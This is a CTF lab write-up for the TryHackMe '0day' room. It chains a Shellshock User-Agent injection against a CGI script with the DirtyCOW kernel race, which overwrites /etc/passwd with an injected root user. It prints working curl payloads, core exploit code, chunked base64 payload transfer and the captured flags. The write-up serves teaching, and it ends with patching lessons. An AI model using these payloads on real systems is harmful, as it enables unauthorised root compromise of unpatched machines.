Back to CTF Writeups

0day — TryHackMe CTF

CVE chain: Shellshock (CVE-2014-6271) for initial RCE via CGI User-Agent injection, then DirtyCOW (CVE-2016-5195) kernel race condition to overwrite /etc/passwd and escalate to root. Fully automated exploit. 2 flags.

TryHackMeMediumMar 20260xb0rn3 | oxbv1

Overview

Two legendary CVEs chained together. Shellshock gets us in through a CGI script, DirtyCOW gives us root through a kernel race condition. The full chain is automated in a single Python script.

Shellshock (CVE-2014-6271) via User-Agent → /cgi-bin/test.cgi → RCE as www-data → user.txt → DirtyCOW (CVE-2016-5195) → /etc/passwd overwrite → su as injected root user → root.txt

Full Automation

Single command: python3 exploit.py TARGET_IP — handles Shellshock verification, flag extraction, payload transfer, DirtyCOW exploitation, and root flag capture. Available in my CTFS repository.

Phase 1: Shellshock — CVE-2014-6271

Discovery

Port 80 runs Apache with /cgi-bin/test.cgi exposed. The CGI handler passes environment variables — including User-Agent — through bash, making it vulnerable to Shellshock.

Exploitation

# Shellshock payload in User-Agent header
curl -s -A '() { :;}; echo Content-Type: text/plain; echo; id' \
  http://TARGET/cgi-bin/test.cgi

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Any command appended to the Shellshock prefix executes as www-data.

User Flag

curl -s -A '() { :;}; echo; cat /home/ryan/user.txt' \
  http://TARGET/cgi-bin/test.cgi
USER: THM{Sh3llSh0ck_r0ckz}

Phase 2: DirtyCOW — CVE-2016-5195

The Vulnerability

DirtyCOW is a race condition in the Linux kernel’s copy-on-write (COW) mechanism. By racing madvise(MADV_DONTNEED) against /proc/self/mem writes on a read-only mmap, we can write to files we shouldn’t be able to — like /etc/passwd.

Kernel-Level Exploit

This is a kernel race condition, not a userspace bug. Two threads race: one calls madvise(MADV_DONTNEED) to discard the COW page, the other writes to /proc/self/mem at the mmap address. When the race is won, the write lands on the original file instead of the copy.

The Payload

The exploit overwrites the first line of /etc/passwd with a new root user (dc with known password), then uses pty.openpty() + su to escalate:

# Core DirtyCOW logic (Python3, runs on target)
NEW_LINE = b"dc:AzSzB2uy8JFlk:0:0::/root:/bin/bash\n"
TARGET   = "/etc/passwd"

fd   = os.open(TARGET, os.O_RDONLY)
addr = libc.mmap(None, size, PROT_READ, MAP_PRIVATE, fd, 0)

# Thread 1: madvise loop (discard COW page)
libc.madvise(addr, size, MADV_DONTNEED)

# Thread 2: write loop (write to /proc/self/mem at mmap addr)
m = open("/proc/self/mem", "wb", 0)
m.seek(addr); m.write(NEW_LINE)

# Race until /etc/passwd is overwritten
# Then: su dc -c "cat /root/root.txt" (password: "password")

Delivery via Shellshock

The full Python payload is base64-encoded, transferred in chunks via Shellshock, decoded on target, then executed:

# Transfer (automated in exploit.py)
printf '%s' 'BASE64_CHUNK_1' > /tmp/b64.tmp
printf '%s' 'BASE64_CHUNK_2' >> /tmp/b64.tmp
...
base64 -d /tmp/b64.tmp > /tmp/p.py

# Execute
python3 /tmp/p.py
Output: [+] passwd patched: dc:AzSzB2uy8JFlk:0:0::/root:/bin/bash
ROOT: THM{g00d_j0b_0day_is_Pleased}

Lessons Learned

  1. Shellshock is ancient but still found. Any CGI script running through bash is vulnerable. Patch bash, or better — don’t use CGI.
  2. Kernel exploits are the endgame. DirtyCOW bypasses all userspace protections. Keep kernels patched — this was fixed in Linux 4.8.3 (2016).
  3. Race conditions are exploitable. The madvise/write race in DirtyCOW is probabilistic but highly reliable with enough iterations.
  4. Chaining old CVEs still works. A 2014 web vuln + 2016 kernel vuln = full root on unpatched systems in 2026.

Tools Used

ToolPurpose
curlShellshock delivery via User-Agent
python3DirtyCOW exploit + PTY escalation
exploit.pyFull automation (Shellshock + DirtyCOW + flag extraction)